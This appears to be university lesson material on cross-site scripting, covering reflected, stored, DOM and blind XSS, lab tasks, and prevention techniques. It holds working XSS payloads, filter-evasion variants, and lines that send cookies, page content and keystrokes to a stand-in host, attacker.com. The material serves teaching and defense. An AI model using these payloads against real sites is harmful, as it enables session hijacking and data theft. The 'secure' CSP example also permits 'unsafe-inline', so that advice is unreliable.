James Williams
Definition: XSS occurs when malicious scripts are injected into web applications and executed in users' browsers.
Impact: Session hijacking, data theft, malware distribution, phishing
<!-- VULNERABLE: Reflected XSS -->
<div>Search results for: <?php echo $_GET['q']; ?></div>
<!-- Malicious URL -->
https://example.com/search?q=<script>alert('XSS')</script>
<!-- Result -->
<div>Search results for: <script>alert('XSS')</script></div>
Characteristics: Script is reflected immediately, not stored
<!-- VULNERABLE: Stored XSS -->
<div class="comment"><?php echo $comment['text']; ?></div>
<!-- Malicious comment -->
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
<!-- Result: Executed for every visitor -->
<div class="comment"><script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script></div>
Characteristics: Script is stored and executed for all visitors
<!-- VULNERABLE: DOM-based XSS -->
<script>
var hash = location.hash.substring(1);
document.getElementById('content').innerHTML = hash;
</script>
<!-- Malicious URL -->
https://example.com/page#<img src=x onerror=alert('XSS')>
<!-- Result: Script executed via DOM manipulation -->
Characteristics: Vulnerability exists in client-side JavaScript
<!-- VULNERABLE: Blind XSS -->
<!-- Admin panel logs user input -->
<div class="log-entry"><?php echo $log['user_input']; ?></div>
<!-- Malicious payload in user profile -->
<script>fetch('http://attacker.com/steal?data='+document.body.innerHTML)</script>
<!-- Result: Executed when admin views logs -->
Characteristics: Script executes in a different context (admin panel)
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')></svg>
<iframe src="javascript:alert('XSS')"></iframe>
<div onmouseover="alert('XSS')">Hover me</div>
<input onfocus="alert('XSS')">
<body onload="alert('XSS')">
<!-- Case variation -->
<ScRiPt>alert('XSS')</ScRiPt>
<!-- Encoding -->
<script>alert(String.fromCharCode(88,83,83))</script>
<!-- Alternative syntax -->
<script>alert`XSS`</script>
<!-- Inside HTML attribute -->
<input value=""><script>alert('XSS')</script>">
<!-- Inside JavaScript -->
<script>var name = '</script><script>alert('XSS')</script>';</script>
<script>
var img = new Image();
img.src = 'http://attacker.com/steal.php?cookie=' + document.cookie;
</script>
<script>
document.addEventListener('keypress', function(e) {
fetch('http://attacker.com/log?key=' + e.key);
});
</script>
Skills Needed: JavaScript, HTML/CSS, Web security, Penetration testing
Resources: Offensive Security | GIAC
Our OS³ Studio provides hands-on experience with:
Access: Available through university portal
See Moodle for supporting materials.
Understanding real-world XSS vulnerabilities and attack techniques
Lesson: XSS can be used to create self-propagating malware
Use OS³ Studio to identify XSS vulnerabilities in the WEB-XSS-01 lab environment.
Time: 45 minutes
Focus on systematic testing and thorough documentation
Take a break, ask questions, or catch up on the previous task.
Next: Secure implementation and Task 2
<!-- SECURE: HTML encoding -->
<?php echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8'); ?>
<!-- SECURE: JavaScript encoding -->
<script>
var userData = <?php echo json_encode($user_input); ?>;
</script>
<!-- SECURE: URL encoding -->
<a href="profile.php?id=<?php echo urlencode($user_id); ?>">Profile</a>
<!-- SECURE: Input validation -->
function validateInput(input) {
if (typeof input !== 'string') return false;
if (input.length > 1000) return false;
// Allow only alphanumeric and safe characters
return /^[a-zA-Z0-9\s.,!?-]+$/.test(input);
}
<!-- SECURE: CSP header -->
Content-Security-Policy: default-src 'self';
script-src 'self' 'unsafe-inline';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self';
frame-ancestors 'none';
base-uri 'self';
form-action 'self'
<!-- SECURE: CSP with nonce -->
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-<?php echo $nonce; ?>'">
<script nonce="<?php echo $nonce; ?>">
// Only scripts with matching nonce execute
</script>
<!-- SECURE: Safe DOM manipulation -->
// Good: Use textContent instead of innerHTML
element.textContent = userInput;
// Good: Use createElement and appendChild
var div = document.createElement('div');
div.textContent = userInput;
parentElement.appendChild(div);
// Bad: innerHTML allows script execution
element.innerHTML = userInput;
<!-- SECURE: Event delegation -->
document.addEventListener('click', function(e) {
if (e.target.matches('.safe-button')) {
handleClick(e.target);
}
});
<!-- SECURE: XSS protection headers -->
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), microphone=(), camera=()
<!-- SECURE: Express.js headers -->
app.use((req, res, next) => {
res.setHeader('X-XSS-Protection', '1; mode=block');
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
next();
});
<!-- SECURE: Handlebars auto-escaping -->
<div>{{userInput}}</div> <!-- Auto-escaped -->
<div>{{{userInput}}}</div> <!-- Raw HTML (dangerous) -->
<!-- SECURE: Jinja2 auto-escaping -->
<div>{{ user_input }}</div> <!-- Auto-escaped -->
<div>{{ user_input|safe }}</div> <!-- Raw HTML (dangerous) -->
<!-- SECURE: Safe data handling -->
// Good: Validate data on client and server
function displayUserData(data) {
if (!isValidUserData(data)) return;
document.getElementById('user-info').textContent = data.name;
}
// Bad: Direct DOM manipulation
document.getElementById('user-info').innerHTML = data.name;
<!-- SECURE: Safe API calls -->
fetch('/api/user-data')
.then(response => response.json())
.then(data => {
if (validateApiData(data)) {
displayData(data);
}
})
.catch(error => console.error('API Error:', error));
<!-- Security testing tools -->
npm install --save-dev eslint-plugin-security
npm install --save-dev xss
// Run security audit
npm audit
eslint --ext .js --plugin security .
Resources: OWASP | PortSwigger | XSS Game
Use OS³ Studio to implement secure XSS prevention measures and fix the vulnerabilities found in Task 1.
Time: 45 minutes
Focus on implementing industry-standard XSS prevention
For students with additional time, explore the source code to understand:
Deliverable: Code review report with XSS prevention recommendations